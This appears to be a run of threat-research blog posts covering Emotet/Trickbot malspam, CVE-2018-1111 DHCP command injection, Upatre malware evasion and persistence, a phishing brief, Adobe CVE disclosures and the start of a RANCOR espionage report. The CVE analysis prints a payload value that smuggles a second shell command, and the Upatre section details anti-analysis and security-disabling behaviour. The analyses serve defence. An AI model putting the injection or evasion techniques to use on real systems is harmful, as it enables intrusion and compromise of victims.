Malware Team Up: Malspam Pushing Emotet + Trickbot

Emotet and Trickbot are information stealers targeting Windows-based computers, and they are best known as banking malware. Each are typically distributed through separate distinct malicious spam (malspam) campaigns. However, we occasionally see both types of malware retrieved during a single infection chain. This Emotet+Trickbot combination doubles the danger for any vulnerable Windows host.
As 2018 progresses, Trickbot is still sent through its own malspam campaigns, but we continue to find examples of Trickbot using Emotet as an alternate distribution method. Most writeups about Emotet and Trickbot focus on individual malware characteristics, and they do little to paint a complete picture of a successful infection chain.
This blog post examines Emotet malspam so far in 2018, and we take a closer look at a Emotet infection traffic featuring Trickbot.

Similarities
Although Emotet and Trickbot are from different malware families, they have some similarities. Both are information stealers that can load additional modules for functions like spamming or worm-based propagation. And for the last year or so, both have been distributed through malspam using Microsoft Word documents as the initial infection vector.

Emotet
Emotet was first reported in the summer of 2014 as banking malware, but has since evolved. By 2017, various sources reported Emotet acting as a loader for other malware like Dridex. One source reported Emotet loading Trickbot, so this most recent combination is not without precedent.
In 2018, Emotet infection traffic usually revealed the IcedID banking Trojan or Zeus Panda Banker as the follow-up malware. In June 2018, I started posting examples of Emotet infection traffic with Trickbot as its follow-up malware. We have also seen spambot malware as the follow-up malware, where the infected Windows host sends out more Emotet malspam.
An Emotet infection currently starts with a malicious macro in a Word document. Macros are disabled by default in Microsoft Office. If a user ignores security warnings and enables macros macros on a vulnerable Windows host, the malicious Word document starts an infection chain. These macro are designed to retrieve Emotet malware from compromised servers to infect a victm's computer.
Malspam pushing Emotet uses one of the two standard methods to deliver the initial Word document:

  1. Victims retrieve the initial Word document from a link in the email .
  2. The Word document is directly attached to a recipient's email without any links.

Emotnet_1

Figure 1: Emotet infection chains so far in 2018.


Trickbot

Trickbot first appeared in the fall of 2016 and was initially described as the successor to Dyreza, another credential stealer. Trickbot is a modular malware with additional functions like an email spammer. Its most notable function is lateral movement. By July 2017, Trickbot added an SMB-based worm propagation module, but had not yet included an exploit.
Since June 2018, I have posted examples of Trickbot infection traffic with SMB propagation on malware-traffic-analysis.net, showing Trickbot moving from an infected Windows client to a vulnerable Active Directory (AD) domain controller. Trickbot's lateral movement over SMB is distinctly different than WannaCry's implementation of EternalBlue noted in 2017, so this method of SMB propagation appears to be based on a different exploit developed by Trickbot authors.
Trickbot normally has its own malspam-based distribution channel, but now Trickbot attackers are also using Emotet for their infections.

Emotet Distribution
On the week starting Monday, June 11th 2018, we saw a great deal of IRS-themed malspam pushing Emotet to recipients in the United States. IRS was not the only theme, but it was by far the most prominent. In the days leading up to July 4th 2018, we also saw Independence Day-themed malspam pushing Emotet to recipients in the United States.
The following are some examples of spoofed senders and subject lines we have seen for recent malspam pushing Emotet since June 11th, 2018.
Spoofed senders:

  • From: [various spoofed sender names and email addresses]
  • From: Internal Revenue Service <[spoofed email address]>
  • From: Internal Revenue Service Online <[spoofed email address]>
  • From: Internal Revenue Service Online Center <[spoofed email address]>
  • From: IRS <[spoofed email address]>
  • From: IRS <irsonline@treasury.gov> <[spoofed email address]>
  • From: IRS <Press@treasury.gov> <[spoofed email address]>
  • From: IRS <Transcript@treasury.gov> <[spoofed email address]>
  • From: IRS Online Center <[spoofed email address]>
  • From: IRS.gov <[spoofed email address]>
  • From: Intuit <[spoofed email address]>
  • From: Intuit Online Payroll Support Team <[spoofed email address]>
  • From: Intuit Payroll <[spoofed email address]>
  • From: Intuit Payroll Services <[spoofed email address]>

Subject lines:

  • Subject: 4th of July congratulation
  • Subject: 4th of July eCard
  • Subject: 4th of July Greeting eCard
  • Subject: Happy 4th of July Greeting Message
  • Subject: Record of Account Transcript from June 14, 2018
  • Subject: Tax Account Transcript from June 14, 2018
  • Subject: The Fourth of July wishes
  • Subject: Verification of Non-filing Letter
  • Subject: Verification of Non-filing Letter from 06/15/2018
  • Subject: Wage and Income Transcript
  • Subject: 0335363294
  • Subject: 2142 Payroll Summary
  • Subject: 3291 Payroll Summary
  • Subject: ACCOUNT#94895547-Milan Marsic
  • Subject: Engr. Abdul Rauf Invoice 8288592
  • Subject: Invoice 897614 from Patrick Bingham
  • Subject: Invoices Overdue
  • Subject: IRS Record of Account Transcript
  • Subject: IRS Record of Account Transcript from 06/14/2018
  • Subject: IRS Record of Account Transcript from 06/15/2018
  • Subject: IRS Record of Account Transcript from June 14, 2018
  • Subject: IRS Record of Account Transcript from June 15, 2018
  • Subject: IRS Tax Return Transcript from 06/12/2018
  • Subject: IRS Tax Return Transcript from June 11, 2018
  • Subject: IRS Tax Account Transcript
  • Subject: IRS Tax Account Transcript from 06/15/2018
  • Subject: IRS Tax Account Transcript from June 15, 2018
  • Subject: IRS Tax Return Transcript
  • Subject: IRS Verification of Non-filing Letter
  • Subject: IRS Verification of Non-filing Letter from 06/11/2018
  • Subject: IRS Verification of Non-filing Letter from 06/12/2018
  • Subject: IRS Verification of Non-filing Letter from June 11, 2018
  • Subject: IRS Verification of Non-filing Letter from June 14, 2018
  • Subject: IRS Wage and Income Transcript
  • Subject: IRS Wage and Income Transcript from 06/14/2018
  • Subject: IRS Wage and Income Transcript from June 11, 2018
  • Subject: IRS Wage and Income Transcript from June 15, 2018
  • Subject: New Invoice / WM2708 / RP# 09648
  • Subject: New Payroll Co.
  • Subject: NYPXV7-16497063849
  • Subject: Pay Invoice
  • Subject: Payment
  • Subject: Payroll Tax Payment
  • Subject: Scott Crowe The 4th of July Greeting eCard

Each of these emails has had either an attached Word document or a link to download the Word document.
Emotnet_2

Figure 2: Emotet Word document distributed through a link in the malspam.

Emotnet_3

Figure 3: Emotet Word document distributed as an attached file.

Emotet Levels Jump Drastically Starting in May 2018
Autofocus shows an increasing trend in Emotet malspam during the past year, with a very sharp jump in Emotet Word documents beginning in May 2018. Below are graphs for verified hits on Emotet from links or as attachments. Link hits are the number of times we verified requests for URLs to download an Emotet Word document. Attachment hits are the number of emails seen with an Emotet Word document attached to the message.
Emotnet_4

Figure 4: Hits for Emotet Word documents from May 2017 through May 2018.

Emotnet_5

Figure 5: Hits for Emotet Word documents in May 2018.

Emotet Infection in an Active Directory Environment
My blog post from malware-traffic-analysis.net on June 15th 2018 provides an example of infection traffic from Emotet malspam. This analysis was done in an Active Directory (AD) environment with a domain controller running an unpatched version Windows Server 2008 R2. The Windows client was running an unpatched version of Windows Professional 7 Service Pack 1.

Emotnet_6

Figure 6: A successful Emotet + Trickbot infection chain in an AD environment.

Emotnet_7

Figure 7: Traffic from the infection filtered in Wireshark.

Figure 7 shows the initial infection traffic from Emotet on a Windows client at 192.168.200.95, followed by Trickbot infection traffic on the same host.
Trickbot propagated from the Windows client to the vulnerable domain controller on 192.168.200.4 via SMB. Approximately 20 minutes later, the vulnerable AD domain controller shows signs of a Trickbot infection.
Figure 8 shows traffic where Trickbot was sent to the domain controller at 192.168.200.4.

Emotnet_8

Figure 8: SMB traffic in Wireshark where Trickbot was sent to the domain controller.

Conclusion
This activity combines the increasing amount of mass distribution for Emotet with the lateral movement capabilities of Trickbot. An Emotet+Trickbot combination represents a more potent infection, and it doubles the danger for any vulnerable Windows host.
Organizations with decent spam filtering, proper system administration, and up-to-date Windows hosts have a much lower risk of infection. Palo Alto Networks customers are further protected from this threat. Our threat prevention platform detects both Emotet and Trickbot malware. AutoFocus users can track this activity using the Emotet and Trickbot tags.
We will continue to investigate this activity for applicable indicators to further inform the community and enhance our threat prevention platform.

Appendix A
Hits for Emotet Word documents from May 2017 through May 2018:
Month/Year: Links - Attachments - Total

  • May 2017: 8,423 - 1,421 - 9,844
  • Jun 2017: 1,154 - 173 - 1,327
  • Jul 2017: 2,868 - 390 - 3,258
  • Aug 2017: 3,273 - 3,803 - 7,076
  • Sep 2017: 4,650 - 2,211 - 6,861
  • Oct 2017: 9,289 - 3,407 - 12,696
  • Nov 2017: 10,676 - 1,737 - 12,413
  • Dec 2017: 10,499 - 217 - 10,716
  • Jan 2018: 5,287 - 2 - 5,289
  • Feb 2018: 16,637 - 265 - 16,902
  • Mar 2018: 29,801 - 2,680 - 32,481
  • Apr 2018: 6,138 - 3,533 - 9,671
  • May 2018: 13,150 - 289,308 - 302,458

Appendix B
Hits for Emotet Word documents in May 2018:
Date: Links - Attachments - Total

  • 2018-05-01: 383 - 0 - 383
  • 2018-05-02: 45 - 437 - 482
  • 2018-05-03: 43 - 150 - 193
  • 2018-05-04: 41 - 604 - 645
  • 2018-05-05: 38 - 0 - 38
  • 2018-05-06: 36 - 0 - 36
  • 2018-05-07: 218 - 711 - 929
  • 2018-05-08: 476 - 9 - 485
  • 2018-05-09: 65 - 1 - 66
  • 2018-05-10: 155 - 957 - 1,112
  • 2018-05-11: 47 - 25 - 72
  • 2018-05-12: 26 - 0 - 26
  • 2018-05-13: 45 - 5 - 50
  • 2018-05-14: 350 - 19 - 369
  • 2018-05-15: 1,274 - 325 - 1,599
  • 2018-05-16: 1,119 - 10,929 - 12,048
  • 2018-05-17: 746 - 19,311 - 20,057
  • 2018-05-18: 386 - 27,437 - 27,823
  • 2018-05-19: 61 - 270 - 331
  • 2018-05-20: 60 - 234 - 294
  • 2018-05-21: 1,632 - 9,098 - 10,730
  • 2018-05-22: 381 - 4,656 - 5,037
  • 2018-05-23: 920 - 7,050 - 7,970
  • 2018-05-24: 536 - 5,169 - 5,705
  • 2018-05-25: 481 - 4,206 - 4,687
  • 2018-05-26: 78 - 134 - 212
  • 2018-05-27: 171 - 743 - 914
  • 2018-05-28: 734 - 13,105 - 13,839
  • 2018-05-29: 1,678 - 35,909 - 37,587
  • 2018-05-30: 566 - 109,409 - 109,975
  • 2018-05-31: 359 - 38,405 - 38,764
  • Totals: 13,150 - 289,308 - 302,458

Analysis of the DHCP Client Script Code Execution Vulnerability (CVE-2018-1111)

In May 2018, a command injection flaw was found in the NetworkManager integration script included in the DHCP client packages in multiple versions of Red Hat Enterprise Linux (CVE-2018-1111), which has since been patched. An attacker could attack this vulnerability either through the use of a malicious DHCP server, or malicious, spoofed DHCP responses on the local network. A successful attack could execute arbitrary commands with root privileges on systems using NetworkManager with DHCP configured.
This vulnerability poses a serious threat to individuals or organizations running vulnerable instance of Red Hat Enterprise Linux versions 6 or 7 and patches should be applied immediately.
This blog post serves to help with your risk assessment and understanding of the vulnerability by providing an overview of this particular vulnerability and provides details on how readers may protect themselves.
 
The Vulnerability
NetworkManager is a Linux program that is used to manage system networking when DHCP networking mode is configured. In such an event, NetworkManager will launch dhclient to send DHCP requests as seen in Figure 1.
CVE_1

Figure 1. The dhclient process running via NetworkManager

 
In the above example, you might notice that an additional configuration file  (/var/lib/NetworkManager/dhclient-eth0.conf) was passed to dhclient from NetworkManager. As we can see in the following example, by default dhclient is configured to request multiple DHCP packet options, including WPAD.
CVE_2

Figure 2. Configuration file passed to dhclient

When dhclient sends an initial request for a DHCP server, it is configured to include this WPAD (Code 252) option within the request, as we can see in the following example:
CVE_3

Figure 3. DHCP requesting WPAD option in initial packet

Due to the CVE-2018-1111 vulnerability, an attacker can craft a response to this DHCP request with a malformed response. For example, an attacker may respond with the following data, as seen in Figure 4:

CVE_4

Figure 4. Attacker responding with a malformed WPAD option in the DHCP response

Upon receiving this response, the default 11-dhclient script will ultimately pass this data into an eval() statement, which will in turn result in the /tmp/test being created via the touch command.
 
Technical Analysis
There are a number of other things that happen after the victim system receives a malformed DHCP response and before /tmp/test is created. First, dhclient will call the client_option_envadd() function to save the value into a variable, which may be observed in the source code below. It is specifically performed on line 3154 via the client_envadd() function.
CVE_5

Figure 5. dhclient source code demonstrating how it handles DHCP packet options

In the above source code, the pretty_print_option() function is called prior to setting the variable, which will sanitize the value by adding a blackslash(‘\’) before the special characters. As an example:

  • The ' character will be converted to \'
  • The & character will converted to \&

In our example case, the initial data sent was as follows:

  • xxx'&touch /tmp/test #

This will then be converted to the following:

  • xxx\'\&touch /tmp/test #

This can be seen in the following figure where this function converts the data that was received:
CVE_6
 

Figure 6. Example WPAD option provided being modified by the pretty_print function

 
After this conversion is made, it proceeds to call the check_option_values() function before storing the value into a variable, where it will check to determine if it contains special characters in the event certain options were given. Example of such options include when a HOST_NAME or DOMAIN_NAME is provided, as seen in Figures 8 and 9.
 
CVE_7

Figure 8. Source code checking if specific options were provided

CVE_9

Figure 9. Code being executed in the event the NETBIOS_SCOPE option was provided

 
As you can see from the code, the WPAD option is not checked. As such, it undergoes no additional scrutiny, which enables us to provide any data via this option in the DHCP response.
Next, dhclient will launch /usr/libexec/nm-dhcp-helper process by setting a parameter passed via an argument. These variables are then saved to the dbus service.
Another sibling process named nm-dispatcher, which is launched by NetworkManager, will then read variables from the dbus service. It will save the value of the WPAD DHCP option to an environment variable name DHCP4_WPAD, and proceeds to launch the 11-dhclient script located in /etc/NetworkManager/dispatcher.d/.
Taking a look at this 11-dhclient script, we see it contains the following:
CVE_10

Figure 10. Contents of the 11-dhclient script

Let’s dive into what is exactly happening within this script.
Within the eval() statement, it begins with a “declare” command. This “declare” command will output all of the environment variables on the system. Readers may be familiar with the “env” command, which operates in a similar way. However, while the output is similar, there are some key differences, as shown inFigure 11, below.
 
CVE_11

Figure 11. Differences between the declare and env commands

As you can see above, the "declare" command will do 2 additional things:

  1. If the variables include special characters such as spaces or single quotes for example, it will add a ‘ on both sides.
  2. It will escape inner ' to '\'' (converting one character to four characters).

Since the variable value is xxx\'\&touch /tmp/test #, the output from "declare" will become 'xxx\'\''\&touch /tmp/test #'.
After the ”declare” command is run, the script will search for only environment variables that begin with “DHCP4_”. This is followed by the “read” command. With no arguments provided, this command will read escaped characters. In other words, \' will become '.
Going back to the data we provided via the WPAD option in the DHCP response,  'xxx\'\''\&touch /tmp/test #' will become 'xxx'''&touch /tmp/test #'. In other words, the previously escaped characters are unescaped as a result of using the “read” command without any arguments.
The remaining commands set the parsed environment variable data to a series of variables. The last command, however, contains code that may be exploited. The line in question is as follows:

Using our example response, the following code will be executed on the system:

This is demonstrated on the command-line in Figure 12:
CVE_12

Figure 12. Example execution of evaluating the code provided based on the WPAD DHCP option

 
Because the quotations are not escaped, and because it is followed by an ampersand, it allows us to append an additional command to this eval() statement. In our example, we supply a secondary command of ‘touch /tmp/test’, which results in us creating an empty file named ‘test’ in the /tmp/ directory.
In the event the quotation characters and the ampersand characters were escaped, our attack would be unsuccessful, as shown in the following example:
 
CVE_13

Figure 13. Attempt at executing the same code with escaped cahracters

 
It is important to note that other characters may be used to perform this attack, such as | or ;.
 
Understanding the Vulnerability Fix
In this particular instance, the fix is very simple. Simply adding the  ‘-r’ option to the “read” command prevents the various characters from being unescaped, as shown in the fix pushed out to patch this vulnerability:
CVE_14

Figure 14. Patch for CVE-2018-1111

According to the documentation of the "read" command, the “-r” option prevents the command from reading backslashes as escape characters. In other words, it will keep all backslashes in the data provided to it. In doing so, it can defend against command injection attacks.
 
Status of this Vulnerability
Shortly after the vulnerability was discovered, proof-of-concept (POC) code was released into the wild on May 16, 2018 via Twitter:
CVE_15

Figure 15. Twitter announcement of CVE-2018-111 PoC

Additionally, in GitHub, there is code that may be configured to easily test for the presence of this vulnerability:
https://github.com/knqyf263/CVE-2018-1111
 
Conclusion
Considering that NetworkManager is so widely used and this vulnerability is so easy to be leveraged by attackers, it should be considered a critical vulnerability. The current threat environment around this is that there is increased risk that it will be used by malicious attackers.
Readers are encouraged to patch their systems if they have not already done so. In the event a patch has not yet been deployed, Palo Alto Networks customers are protected from this vulnerability via signature 40739.
 

Upatre Continued to Evolve with new Anti-Analysis Techniques

First discovered in 2013, Upatre is primarily a downloader tool responsible for delivering additional trojans onto the victim host. It is most well-known for being tied with the Dyre banking trojan, with a peak of over 250,000 Upatre infections per month delivering Dyre back in July 2015. In November 2015 however, an organization thought to be associated with the Dyre operation was raided, and subsequently the usage of Upatre delivering Dyre dropped dramatically, to less than 600 per month by January 2016.
Today, the Upatre downloader tool is effectively no longer in use by criminal organizations. However, one of the many interesting aspects of the Upatre tool had always been its constant adaptive nature where the developers continuously added features and capabilities to the tool to increase its efficacy.
In March 2018, Unit 42 researchers collected a sample of Upatre which was compiled in December 2016 but at the time was largely undetectable by most automated detection systems . Because of this, we analyzed the sample to afford awareness to those interested in this malware and its evolution. This previously undocumented variant features significant code flow obscuration, a pro re nata means of decryption for network communications, and of particular interest, the method in which this variant evades virtual machine detection.
In this post we highlight these techniques identified during our analysis.

Malware Overview
Upatre is a stage-0 malware, which basically means it’s a downloader.   The malware is used to download and install a payload onto the affected system.  The payload is retrieved from hardcoded domain(s) and is typically another piece of malware. Historically, Upatre has acted as a downloader for malware families such as Dyre, GameOver Zeus, Kegotip, Locky, and Dridex to name a few. However, in this case no payload was delivered. Additionally, variants such as this one collect information from the target and transmit the data via an HTTP POST request.
This newly observed variant comes packed with several characteristics and capabilities that stood out to us during analysis.  Attributes in the PE header suggest that the malware is written in Visual C++ and several of the PE sections have high entropy classification, which indicates that the binary is packed.  The PE resource section also contains images of Google Chrome, so when the binary is placed on the target machine, it appears to be that of the Google Chrome web browser.
One of the key features about this variant that stood out during our analysis is how it detects whether or not it is running within a virtual machine. Although virtual machine detection is anything but new, in this variant, it is handled a bit differently than other samples previously analyzed by Unit 42.  To, evade detection, the newly observed variant enumerates the running processes on the host, generates a CRC32 hash of the process name, performs an XOR with a hard-coded key of 0x0F27DC411, and finally compares the newly computed value against a list of values stored in an array within the code.  We observed the following values:

0x6BA08023 0xDFF859A5 0x9649C9DF 0x91B88065 0xF663B61C
0xC6E1589A 0xC63B2FDF 0xA9D475EF 0xCE9F7AE2 0xCF3B343A
0x85D3D4E6 0x1392D4C 0xDFC3A97E 0x51ACC655 0xEF0F2980
0x64EEAFAF 0xD5F11B49 0xC9823C94 0x9F4EE7C8 0x403C2A93
0x6A50A975 0xECCCD158 0xED3CF80E 0x209202D5 0x2C6668C3

This version of Upatre will not transmit any data via HTTP POST to any of the target domains if one of these values is found.
In the event one of the values are found, the malware will sleep for six seconds and then will restart the entire check again.
We were unable to determine every corresponding process name from the CRC32 list above, however, we were able to decipher the following process names:

Process Name CRC32
vmtoolsd.exe 0xD5F11B49
vmacthlp.exe 0x403C2A93
Python.exe 0x209202D5

Other notable functionality of this new version of the Upatre malware includes:

  • In-memory loading of code
  • Disables the following Windows services:
    • Windows Security Center
    • Internet Connection Sharing
    • Windows Firewall
    • Windows Defender
    • Windows Update
    • Windows Defender Network Inspection Service
  • Disables Windows security notification balloons on Windows 7 and up
  • Disables Internet Explorer Phishing Filter
  • Disables Windows User Access Control Notifications
  • Launches a trusted Windows application msiexec.exe and injects code into its memory space using an undocumented technique
  • Heavy use of obfuscated and optimized code to thwart code analysis
  • Use of non-essential Windows API's for stack pivoting to mask intended API
  • Multiple layers of custom encoding used for individual strings decoding. Does not share encoding routine with other encoded values

Network Communication
Another feature of this sample is the use of top level domains (TLD) of. bit. The intended domains are encrypted and only decrypted when the malware is ready to use them. This new sample attempts to resolve two domains, bookreader[.]bit and doghunter[.]bit via the following hardcoded DNS Servers:

  • 31.3.135[.]232
  • 193.183.98[.]154
  • 5.135.183[.]146
  • 84.201.32[.]108
  • 185.133.72[.]100
  • 96.90.175[.]167
  • 104.238.186[.]189

DNS resolution for .bit domains use hardcoded DNS servers and is handled via TCP versus traditional UDP. This is because .bit domains are based on Namecoin and aren’t regulated by ICANN. Additionally, the hardcoded DNS server IPs we identified in this sample are all associated with OpenNIC Public DNS servers.
According to OpenNIC, when using OpenNIC DNS servers .bit domains are resolved through centralized servers that generate a DNS zone from the Namecoin blockchain; therefore, the secure nature of using Namecoin as a decentralized means of DNS is not actually being utilized here.
If domain resolution is successful, the malware will then perform an HTTP POST request similar to the following:

Note, the HTTP POST does not contain any User-Agent strings.
At this time, we don’t fully understand the encryption method; however, we know that the data sent in the POST request is encrypted using a custom encryption algorithm.  Below is an example of data captured prior to encryption:

Obscuring Code Flow
This version of Upatre contains significantly obfuscated code to increase the difficulty of analysis.  Figure 1 below shows an example API call disassembled in IDA Pro.

Upatre_1

Figure 1-IDA Disassembly of API call

For conventional naming, the function at address 0x00137ED6 has been renamed to the Windows API  RegQueryValueEx_0.  According to MSDN this function takes six parameters, the frame pointer is ESP based and the stack frame would resemble the following:

Upatre_2

Figure 2-Inside Func_RegQueryvalueEx_0

In the above figure, Func_RegQueryValueEx_0 is EBP based and performs the following:

  • Saves the current stack pointer in EBP
  • The stack pointer is adjusted 268 bytes (thwarting stack frame analysis)
  • Pushes a pointer, which points to the REGKEY string

After the call into sub_140CBE the stack would resemble the following:
Upatre_3

Figure 3--Inside Sub_140CBE

Function Sub_140CBE does the following:

  • Pushes 0x13 on the stack
  • Calls another function, which ends up jumping into the Windows API GetSystemMetrics

0x13 is the SM_CSURSOR index used by GetSystemMetrics, which returns the width of a cursor in pixels.  Retrieving this value has no bearing on the program as the return value is not used.
How the stack looks after the call to func_GetSytemMetrics

Upatre_4

Figure 4--Inside Func_GetSystemMetrics

Some interesting observations about this function:

  • The JMP instruction is used versus the CALL instruction as JMP doesn’t affect the stack.
  • The two PUSH instructions are junk values and only used to pivot the stack, so the correct return address is on the stack during the return.

Here is how the stack looks prior to the jump:

Upatre_5
Return address 0x001414FD is the address that is used to open and query the hosts registry, and this is the target address after executing the above instructions.  The return code flow is as follows:

  1. The two junk data values pushed on the stack are cleared during the executing of the GetSystemMetrics API.
  2. The stack pointer is incremented past 0x13
  3. Address 0x00140CC5 has a retn instruction
  4. Address 0x001414FD is now on the top of the stack and the section within the malware that handles Windows registry enumeration is called (RegQueryValueEx).

This stack pivot is performed entirely to make static analysis of the file more difficult, but the end result is still that the API function executes, and the malware accomplishes its task.

Persistence Technique
To establish persistence, this new version of Upatre creates the following registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\

  • String value-->x$msbuild where x$ is a random alpha character. Note: the name of the binary depends on the executable that is running.  The stub program grabs the Windows name of the EXE and prepends it with a random value. 
  • Data -->C:\ProgramData\MSBuild\x$exe

File x$MSBuild.exe is then copied to the host's C:\ProgramData\MSBuild folder.

Conclusion

In our data, we have observed over 119,000 unique malware samples that use dot-bit (.bit) domains for C2 infrastructure as early as 2014.  Malware families observed include Necurs, GandCrab, Vobfus, Tofsee, Floxif, Ramnit, and several others.
Due to the C2 domains being down at the time of our analysis, which was unsurprising given the potential age of the sample, we were never able to capture the ultimate payload for this new Upatre variant.  However, open source analysis on this variant identified another sample configured with the same dot-bit domains.  The sample, 94a8b4b22dab4171edde5b1bafbf2f17dbe3c3c4c01335c36ba3b6e5d3635b83, was compiled six days after our Upatre sample and delivered the Chthonic banking trojan via RIG exploit kit.
Although the delivery mechanism was not observed during our analysis, Upatre typically arrives via an email link/attachment or through a compromised website.

Defending Against this Threat
The Upatre malware is constantly changing and is capable of downloading many different malware families, some, destructive.  Using threat detection and prevention solutions such as the Palo Alto Networks next-generation security platform are highly recommended as part of a proactive cyber security strategy. WildFire and Traps both detect the samples described in this report as malicious.
Not all dot-bit domains are malicious, but organizations should take steps to ensure they can control access to all potentially malicious domains. Blocking outbound access to DNS servers and re-routing DNS requests to internally controlled DNS servers can help protect a network from malware using dot-bit domains provided by the Namecoin network.
Palo Alto Networks customers remain protected from Upatre and can identify this threat using the Upatre tag in AutoFocus.

Indicators of compromise associated with this analysis include:


Upatre
SHA256:   8ac7909730269d62efaf898d1a5e87251aadccf4349cd95564ad6a3634ba4ef4
Cthonic
SHA256:   94a8b4b22dab4171edde5b1bafbf2f17dbe3c3c4c01335c36ba3b6e5d3635b83
C2s
Domain:   doghunter[.]bit
Domain:   bookreader[.]bit
IP Address:  31.3.135[.]232
IP Address:  193.183.98[.]154
IP Address:  5.135.183[.]146
IP Address:  84.201.32[.]108
IP Address:  185.133.72[.]100
IP Address:  96.90.175[.]167
IP Address:  104.238.186[.]189

Updated on 7/13/2018 to clarify that the Upatre sample discussed was compiled in 2016 but is newly discovered in 2018 and to more clearly identify samples with their hashes.

Threat Brief: Why You Need to Be Careful of Links in Email

In recent research, Palo Alto Networks found attackers were creating fake versions of some well-known and well-trusted websites – including Adobe, DropBox, Facebook, and others- and putting malicious links to these sites into phishing emails sent to unsuspecting victims.   Here we explain this type of attack and what you should do.
 
What is it?
A method attackers use to target you using email that you might not know about.

Why should I care, what can it do to me?

Attackers can gain access to your personal and financial information. They can also steal your computer’s processing power to mine for cryptocurrencies, which slows down your system.

How can I prevent it?

Avoid clicking on links that you get in email. If you get an email and need to go to that website, type the address in your web browser yourself. If the link is an email from someone you know, you can also contact them to find out if they meant to send it, and if it is safe to visit.

What causes it?

Attackers know that people will click on links in email. Especially when you get an email from someone that looks like someone you trust.

How does it work?

Attackers send emails that appear to be from a person or company that you trust. These emails contain malicious links that, when clicked on, lead you to an attacker’s page. In addition to taking steps so the attacker’s page mimics a legitimate one,  attackers often mirror well known security images, like the lock symbol, to convince you that you are on a secure site.
Once you’re on the attacker’s page, the attackers may ask you for personal information (like usernames, passwords, and bank account information) or to install software, or both.
In recent research, we found attackers were using fake versions of some well-known and well-trusted sites:

  • Adobe
  • DropBox
  • Facebook
  • Google Docs and Google Drive
  • Microsoft Office 365


About:
Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.
They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.
Got a topic you want us to write about for you, your friends, or your family? Email us at u42comms@paloaltonetworks.com.

Unit 42 Vulnerability Research July 2018 Disclosures – Adobe

As part of Unit 42’s ongoing threat research, we can now disclose that Palo Alto Networks Unit 42 researchers have discovered eight vulnerabilities addressed by the Adobe Product Security Incident Response Team (PSIRT) as part of their July 2018 security update release.

CVE Vulnerability Name Maximum Severity Rating Impact Researcher(s)
CVE-2018-5009 Use-after-free Critical Arbitrary Code Execution Gal De Leon
CVE-2018-5021 Out-of-bounds write Critical Arbitrary Code Execution Bo Qu
CVE-2018-5022 Out-of-bounds read Important Information Disclosure Bo Qu
CVE-2018-5023 Out-of-bounds read Important Information Disclosure Zhanglin He and Bo Qu
CVE-2018-5024 Out-of-bounds read Important Information Disclosure Zhanglin He and Bo Qu
CVE-2018-5025 Out-of-bounds read Important Information Disclosure Bo Qu
CVE-2018-5026 Out-of-bounds read Important Information Disclosure Bo Qu
CVE-2018-5066 Out-of-bounds read Important Information Disclosure Gal De Leon

Palo Alto Networks customers who deploy our Security Operating Platform are protected from zero-day vulnerabilities such as these. Weaponized exploits for these vulnerabilities are prevented by Traps multi-layered exploit prevention capabilities. Threat prevention capabilities such as application control, IPS, and WildFire provide our customers with comprehensive protection and automatic updates against previously unknown threats.
Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Google Android and other ecosystems. By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons used by attackers to threaten users, and compromise enterprise, government, and service provider networks.

RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families

Throughout 2017 and 2018 Unit 42 has been tracking and observing a series of highly targeted attacks focused in South East Asia, building on our research into the KHRAT Trojan. Based on the evidence, these attacks appear to be conducted by the same set of attackers using previously unknown malware families. In addition, these attacks appear to be highly targeted in their distribution of the malware used, as well as the targets chosen. Based on these factors, Unit 42 believes the attackers behind these attacks are conducting their campaigns for espionage purposes.
We believe this group is previously unidentified and therefore have we have dubbed it “RANCOR”. The Rancor group’s attacks use two primary malware families which we describe in depth later in this blog and are naming DDKONG and PLAINTEE. DDKONG is used throughout the campaign and PLAINTEE appears to be new addition to these attackers’ toolkit.  Countries Unit 42 has identified as targeted by Rancor with these malware families include, but are not limited to:

  • Singapore
  • Cambodia

We identified decoy files which indicate these attacks began with spear phishing messages but have not observed the actual messages. These decoys contain details from public news articles focused primarily on political news and events. Based on this, we believe the Rancor attackers were targeting political entities.  Additionally, these decoy documents are hosted on legitimate websites including a government website belonging to the Cambodia Government and in at least once case, Facebook.
The malware and infrastructure used in these attacks falls into two distinct clusters, which we are labeling A and B, that are linked through their use of the PLAINTEE malware and several “softer” linkages.

Linking the attacks
Building on our previous research into KHRAT Trojan, we have been monitoring KHRAT command and control domains. In February 2018, several KHRAT associated domains began resolving to the IP address 89.46.222[.]97. We made this IP the center of our investigation.
Examining passive DNS (pDNS) records from PassiveTotal revealed several domain names associated with this IP that mimic popular technology companies. One of these domains, facebook-apps[.]com, was identified in one of the malware samples associated with this IP address.
The following table depicts the two malware samples that are directly related to this IP address:

SHA256 Description Connection to IP
 
0bb20a9570a9b1e3a72203951268ffe83af6dcae7342a790fe195a2ef109d855 Loader C2 facebook-apps.com (resolves to 89.46.222.97)
c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d PLAINTEE Hosted on 89.46.222.97

Digging in further, the malware family we later named “PLAINTEE” appears to be quite unique with only six samples present in our data set.
Apart from one sample (c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d), we were able to link all PLAINTEE samples together by the infrastructure they use. The diagram in Figure 1 shows the samples, domains, IP addresses and e-mail addresses that we identified during our investigation (See Appendix B for more detail on these.) There is a clear split between Cluster A and Cluster B, with no infrastructure overlap between the two.
RANCOR_1

Figure 1 - Diagram showing the split of PLAINTEE samples across the two clusters of activity.

Our Investigation into both clusters further showed that they were both involved in attacks targeting organizations in South East Asia. Based on the use of the relatively unique PLAINTEE malware, the malware’s use of the same file paths on in each cluster, and the similar targeting, we have grouped these attacks together under the RANCOR campaign moniker.

Delivery & Loader mechanisms
For many of the samples we’ve been unable to identify how they were delivered to end victims; however, in three cases we were able to locate the files used to deliver the Trojan, which we found merited more investigation and are briefly discussed below.

Cluster A
Case 1: Delivery via document property macro – a789a282e0d65a050cccae66c56632245af1c8a589ace2ca5ca79572289fd483
